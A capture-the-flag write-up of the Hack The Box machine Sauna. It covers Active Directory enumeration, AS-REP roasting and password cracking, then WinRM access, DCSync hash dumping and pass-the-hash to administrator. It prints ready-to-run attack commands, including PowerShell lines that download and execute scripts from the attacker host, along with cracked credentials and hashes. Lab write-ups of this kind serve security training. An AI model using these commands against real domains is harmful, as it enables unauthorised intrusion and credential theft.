# Sauna 10.10.10.175

## Background: <a href="#h.8973trz98g92" id="h.8973trz98g92"></a>

![03 Jan 2020](https://1020855008-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MHdTwldplFku-IlYazS%2F-MNB9TWYt3Mz65XlACPb%2F-MNBB8gVUL1Wd3ZL_fTk%2Fimage.png?alt=media\&token=dfe3a837-03d8-4c7d-a349-990ac50c4e55)

## **Background**

[Sauna ](https://www.hackthebox.eu/home/machines/profile/229)is an easy difficulty Windows machine from HacktheBo&#x78;**,**  it requires on the Active Directory enumeration technique and Kerberos attack, for training your ethical hacking skills and penetration testing skills.

Possible usernames can be found on the website that can be used on an ASREPRoasting attack. A password hash is found and the plaintext password was recovered by an offline brute force attack. This user credential is able to WinRM to the box.&#x20;

Running WinPEAS reveals the possible path for the Privilege Escalation (PE), the result shows that there a system user has been configured to automatically log in and this user has Windows remote management permissions.&#x20;

<130n@calvinlai.com>

**Target Machine**: 10.10.10.175&#x20;

**Attacking (Hacker) machine:** 10.10.14.15

## Penetrating Methodology: <a href="#h.ssha3n31zsuk" id="h.ssha3n31zsuk"></a>

### Service Scanning <a href="#h.u7ibpjhfhn9d" id="h.u7ibpjhfhn9d"></a>

* Nmap

### Enumeration <a href="#h.uts34k2jsw2l" id="h.uts34k2jsw2l"></a>

* Nikto
* Dirb
* ldapsearch
* nmap -p 88 --script krb5-enum-users
* nmap -p 389 --script ldap-rootdse
* GetNPUsers.py

### Exploitation <a href="#h.1rkqcutb40dg" id="h.1rkqcutb40dg"></a>

* WinRM
* ASREPRoasting Attack
* DCSync Attack

### Getting Less Privilege Shell <a href="#h.k5b7uqhuvxu" id="h.k5b7uqhuvxu"></a>

* PtH Attack
* Windows-Exploit-Suggester

## Hacking Process Part 0 – Service Scanning <a href="#h.i6etv5uyprbw" id="h.i6etv5uyprbw"></a>

The target machine IP is 192.168.187.134. Get a basic understanding the available services of the target machine using nmap aggressive scanning to all available ports.

0.1) Details Analysis

nmap -n -sV -vv --open -Pn -p- -A --reason -oN nmap.txt sauna.htb

![](https://lh5.googleusercontent.com/TJRI81HeLbCs7uVK2uCrLTlMQ99UUXhE8VEN4OYrP-8d4DvqXxsbvpwG0NOS_3BmvXHQiZjdBPolXbrjMzD7Ym5_WbedgnXT6sjHZXu9wRvrs0k7CMu__nnAdSC86QRP2ccPeomY)

Enumeration strategies

1. Check Website Vulnerability &#x20;
2. Check any hidden files/folders of the website
3. Check SMB

## Hacking Process Part 1 – Enumeration <a href="#h.sp8qz85gyrtb" id="h.sp8qz85gyrtb"></a>

### 1.1) Strategy 1 Check Vulnerability <a href="#h.a19w4tbta9a3" id="h.a19w4tbta9a3"></a>

Nikto -- no vulnerability can be abused to bypass authentication.

![](https://lh5.googleusercontent.com/1ByT3qyEo16yAgljqoO0MX6Sv6u64XUI43ViPMxsJw5BK3LJBvb5XZ5hzOxYXUU-feAXBu5a4dImQZ3Uv9hN9fNP-DdZ-9gs8ZSmtG04hzDCynBggTtrGBR_EgAem7qzrEC2ybS5)

### 1.2) Strategy 1 Check any hidden files/folders of the website <a href="#h.g7vxy198w27q" id="h.g7vxy198w27q"></a>

Cannot found any hidden files or folder of this website\
python3 /root/Documents/ctf/tools/dirsearch/dirsearch.py -u <http://192.168.187.134/> -e php,txt -x 301,302,403,404 --simple-report=mrRobot.dirsearch

![](https://lh3.googleusercontent.com/sGiGZiaccQmAPkY6kj7ZF7lmZKn-hq-P42pmPd6GxagoujJNGp3JtLLs9C4PnJviCA0GyXffom1PbiO3UzxOirrAwMfSddWaPXcIIn-cMukylE6JDtFtx_MNCKjFpXTlDfWEGOX-)

### 1.3) LDAP <a href="#h.xbdljxjle4ks" id="h.xbdljxjle4ks"></a>

nmap -p 389 --script ldap-rootdse sauna.htb&#x20;

Got some domain's background information\
CN=Aggregate,CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL

![](https://lh4.googleusercontent.com/7Dcr0oO9XaoQBo1c7pXlWjXItpTH74VeNTfiw99DYq2KXf4UGPanoWiLv-mcEw12SnGCBAjvP2Epm_FQwpLwdUbc-83Wqk_8iOq5H5cTRYw_BR9vWAes3x0ej-vkSfmZgkHgpPnH)

nmap -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm='EGOTISTICAL-BANK.local' sauna.htb

![](https://lh3.googleusercontent.com/-ToSllHMsCZpowp4HLsIKeKZxq2MO1KP20iPWnBO6eggpPukJ6NMckTOQPsO4QVcn7A4Ks5uS2uFwzSopN4wHqBdQqM6v0qJ9EyxWCdG8Dn6n-ofrJ_rIslB4r83UlCdwUXGJ6ba)

Using the ldapsearch -x -h sauna.htb -b "DC=EGOTISTICAL-BANK,DC=local", a user "Hugo Smith" account was found

![](https://lh6.googleusercontent.com/yT-eIqJ-pxPzd0XwuFTe9FM_ACfNRfsW4s7K7rK8alQ1DtU2y9dps_1nTcF5eFNSHA11uR-Ca0t8etDTb3E_Rc7GGIC2u8eROpecpfk0GfBPf3sWqFNP_S0swUYs4yMyRso_iD6f)

![](https://lh5.googleusercontent.com/cefSKnS8c-_0vYlEmenApDlGcucrKKCuejWktggeE_cGAIdy4oR59RtHjtb8JOYvZB9mnf6zHcigMSyBDhMoYRIcSNCVCPS2Rvi3rRsi1JB78YlGynBhD-Y4xyGK6k8FDafQeW5c)

## Hacking Process Part 2 – Get Low Privilege Access <a href="#h.rybuorwmspqk" id="h.rybuorwmspqk"></a>

According to the domain account found above, the login id would be a combination of the user name found at the "Meet The Team" page.

The possible combination of the user name list was created below and saved at the users.txt

```
fergussmith,fsmith,ferguss
shauncoins,scooin, shaunc
hugobear,hbear, hugob
bowietaylor,btaylor, bowiet
sophiedriver,sdriver, sophied
stevenkerb,skerb,stevenk
```

I was thinking that would it be an [ASREPRoasting attack.](https://calvin-lai.gitbook.io/calvin-lai-security/tools/04-windows-enum-and-exploit/09-kerberos-attack#asreproast) Using Impacket's [GetNPUser ](https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetNPUsers.py)to extract a hash from my prepared user accounts list that did not require pre-authentication.&#x20;

/usr/share/doc/python3-impacket/examples/GetNPUsers.py EGOTISTICAL-BANK.LOCAL/ -usersfile users.txt -no-pass -outputfile getNPUsers.result -dc-ip sauna.htb

![](https://lh5.googleusercontent.com/E1CKaYRBHb-ugsoP00meTXDJlLVj60pwef9SMKn6pJoRaXsjZ7RKreG8qAvdnjmS_TLhCfLGcTN4v7SQlbj_t2aB82vPBGJ5e0pTBoxTIzD4eJOMEUPRTEkHt5x2Q5WN1gzVeVbO)

It returned a hash for the user `fsmith` Selected the krb5asrep as the format of hash mode for the ASREPRosating, &#x20;

john fsmith.tgt -format:krb5asrep --wordlist=/usr/share/wordlists/rockyou.txt

![](https://lh3.googleusercontent.com/7qJqJlbpjMzXQMoMHorYReYoQEFJ_W1bj0te_q25RIqSw0CVvRnaqt7N9KHy9xCHu5wNzN_mm4qCZ1g0e7JbqkhKYIB_Qv05sEByZaQkW6jRhhjODD2Y44JU_rt66DwczhxIUfQD)

The password of this user account "**fsmith**" was "**Thestrokes23**"

Using the obtained credentials fsmith/Thestrokes23 to access the system

*SMB Map*\
smbmap -u fsmith -p Thestrokes23 -H sauna.htb -R

![](https://lh5.googleusercontent.com/kusSWvInU9ISoT8fXn5PP5UdUYripByrk9r0qHTwgKpzWgtE-SrrfF7AU03BGUpr7hdgpqXAbrERKZe86NXX00kwmbi3PjRNKtMM50xjuZ0T_lSk_cgLj2HcuNcqZMvG_jvR4Gfj)

*Windows Remote Management (WinRM)* \
It is a Windows built-in remote management protocol that was enabled by default. Using the[ evil-winrm](https://github.com/Hackplayers/evil-winrm) to connect to the system\
evil-winrm.rb -u fsmith -p Thestrokes23 -i sauna.htb

![](https://lh6.googleusercontent.com/eaYzl4DVI8FLs2ColMYzM-hoMeC5kgL31Nnj9XWxZIIAcGfXlcgnUrTGk_PI-OlYgu7PLUahvuz_v-PGNw79KdR0Z0mdl9GkQkvaCM897VMsYdWJVVI6btPY7fIgIHzkNE1MNypb)

![](https://lh3.googleusercontent.com/xDPC3veUgAt7zEfmEaTtk7UtbmekFKlYGNUj-t7fq8vc0iJzVZCpIk0tbhPu_sXrYK0lTHzCkGCc3iOtvlm9zGGS5Bfm13HdjN_7FHZubJ9ZA6ta6Y0NEW2NK0J-yHbpd2rbLx2k)

The user.txt file was found in the Desktop folder.

1b5520b98d97cf17f24122a55baf70cf

## Hacking Process Part 3 – Windows Privilege Escalation <a href="#h.2tnfkp5exzdk" id="h.2tnfkp5exzdk"></a>

**Enumerating users**\
After gaining the initial access of the machine, a svc\_loanmgr account was found under the c:\Users folder but the current account did not have access rights to read the folder

![](https://lh5.googleusercontent.com/VWEoY9GEDTLJm-OXPwfmKgLe1j7VC1U3w8ExlGwW0Jz2Omj0bjQ2poKj2smtjwfIOKNVsL_6N1mA01KoH8eh40j_RLL872uibAvZGzYKgsiYymyBN4B3x4EbdBuqj0K0D4ITlgCA)

![](https://lh3.googleusercontent.com/nE_OdGlFXLwvAowU90_UGG_ub0LxSEBTle4EEsa0aCaJ5nRvmcQZ_iyYzuWPE_qUKzHGzbdEf0oH5m5PS4iyv65FKWvFv5FsTWkAfnKwR3Ll3EJZAZYhDjBZGIxbZrVyKQO5eG8a)

![](https://lh6.googleusercontent.com/xxYiUhTaZDLdBUf-zJkIf0x-rx1zbISezWxsDTuxoHyJRzrL1inFs4JYJy9gytZqnAaj5pEbEBrxrtMSlXVU_8z-_PdENgTT6-toyySP-7q2bDAIW94TMFny9cJsVOZ6nqQ60v2B)

![](https://lh4.googleusercontent.com/DiOa3Lp2wJuA0onyK6xejPLaFavhKPe3bHDdD0bBHJV2yhDwI90yYTvKAsnt1NQv4GEQ9k_SUNBFgKJF_T0rpe7pfiZudF-uox8VKvbCQ0Rc1pV7A1sbpJ0HjoF0IV0yUDAsNLj3)

**Enumerating the environment**

The missing software patches for local privilege escalation vulnerabilities was not found using the [Sherlock.ps](https://github.com/rasta-mouse/Sherlock) script\
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('<http://10.10.14.15:8888/Sherlock.ps1>'); Find-AllVulns -Command 'start powershell.exe'"

Enumerating with the Powershell Privilege Escalation Enumeration Script [WindowsEnum.ps1](https://github.com/absolomb/WindowsEnum/)\
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('[http://10.10.14.15:8888/WindowsEnum.ps1](https://www.google.com/url?q=http://10.10.14.15:8888/WindowsEnum.ps1\&sa=D\&ust=1606525554213000\&usg=AOvVaw33c78PidPK3kNrQ4ECRH1R)');

The password of svc\_loanmanager was found

![](https://lh3.googleusercontent.com/OpfUinKSEIWAceiYZ7XeDvZOFCKbuqqGSOvNpP19T5wZ80o0LYAufipivXO4T6MmTaohpG3aykyf8cypc4cWqo82i6P5AcERYmOO8tLtEsiFARQ85ISODZPyeh4Kqkbnw-umnSiK)

According to the net user result above, this user was under the Remote Management Users group. Using the evil-winrm again to login \
/root/Documents/ctf/tools/win/evil-winrm/evil-winrm.rb -u svc\_loanmgr -p Moneymakestheworldgoround! -i sauna.htb       &#x20;

![](https://lh3.googleusercontent.com/I4sL0R3IO8IPIpAsOFWMpqFcWEf04Jr2IsIsySJvTiiZe4uFH-y_suPNEWpntNBrJlakqNSEnCG3t1nTtxJAZoY65V3rQjO7IzOzWtkBieqq-FvkeUr42boxIjmQY-xJr-b2kVnL)

As this user svc\_loanmgr was in the user group NTLM Authentication, tried to reveal the dump the NTLM hashes using the Impacket's [secretsdump.py ](https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py)

/usr/share/doc/python3-impacket/examples/secretsdump.py 'svc\_loanmgr:Moneymakestheworldgoround!@10.10.10.175'

![](https://lh6.googleusercontent.com/LSPPX2eaLmg4EWOJE3Q6vI2-pEWwyL7HjPd1xRtzZ1wUeoGMeTbhyNoIxl15jji0cXRhIlpXCcFWoil47yGRQITJw9zxaAd2Bw79QJsLcsiTEovzSfgRFTfgCZwqsgZFDwEx-fnK)

The hash of the adminstrator was extracted, tried the Pass The Hash attack using the [pth-winexe](https://www.kali.org/penetration-testing/passing-hash-remote-desktop/) Administrator:500:aad3b435b51404eeaad3b435b51404ee:d9485863c1e9e05851aa40cbb4ab9dff:::

![](https://lh6.googleusercontent.com/9zfuk0Ugn053c2LrH28smIxJVtq2OofV1xtUeOw0_4_VMhBTlRrzDW0XD13zTvybFqHGs7aLqX-LW4LjYRRIkyB3Rl6gGVz-ZhlnD0ffBfFv0l8gW_nqGWzI7TqAbSbcLitnPGxA)

Tried to connect with winrm again using the password hash

/root/Documents/ctf/tools/win/evil-winrm/evil-winrm.rb -u administrator --hash 500:aad3b435b51404eeaad3b435b51404ee:d9485863c1e9e05851aa40cbb4ab9dff -i 10.10.10.175

![](https://lh3.googleusercontent.com/6MEWcbGJOPezGCXgZY-ADOsz08qbmTAUWjR9LC-Qa5EMn6V869bCDqWiFj-iyWVMnj4IOlhPNe859VLYziX2LNIOHKDlZy4R0fCwfby0UB38ccoVTwO_T5rCegifNKmizt0tI2Pt)

f3ee04965c68257382e31502cc5e881f

## Conclusion... <a href="#h.mgnbzniv90re" id="h.mgnbzniv90re"></a>

一開始getnpuser dump到hash是因為剛好fsmith呢個user個account有check到not required kerberos pre authentication，所以可以用呢個account來gen ticket dump到個hash，又剛好個account用weak password破解到，所以羅到user

root就svc\_loanmgr呢個service account讀到ad個db，所以dump到個db羅曬hash

by default not required kerberos authentication係無check到的，一般是app唔support kerberos，所以要check

**Lesson Learn**&#x20;

1\) The vulnerability occurs when the “Do Not Require Pre-authentication” box is ticked within Users![](https://gracefulsecurity.com/wp-content/uploads/2020/02/Screenshot-2019-01-30-at-15.42.03-234x300.png)

2\) Weak password policy is in place

## Reference Link <a href="#h.2v27l0459ybg" id="h.2v27l0459ybg"></a>

{% embed url="<https://www.tarlogic.com/en/blog/how-to-attack-kerberos/>" %}

{% embed url="<https://gracefulsecurity.com/kerberos-preauthentication-and-party-tricks/>" %}

{% embed url="<https://download.microsoft.com/download/7/7/a/77abc5bd-8320-41af-863c-6ecfb10cb4b9/mitigating%20pass-the-hash%20(pth)%20attacks%20and%20other%20credential%20theft%20techniques_english.pdf>" %}
Mitigating Pass-the-Hash (PtH) Attacks and Other Credential Theft Technques (from Micosoft)
{% endembed %}
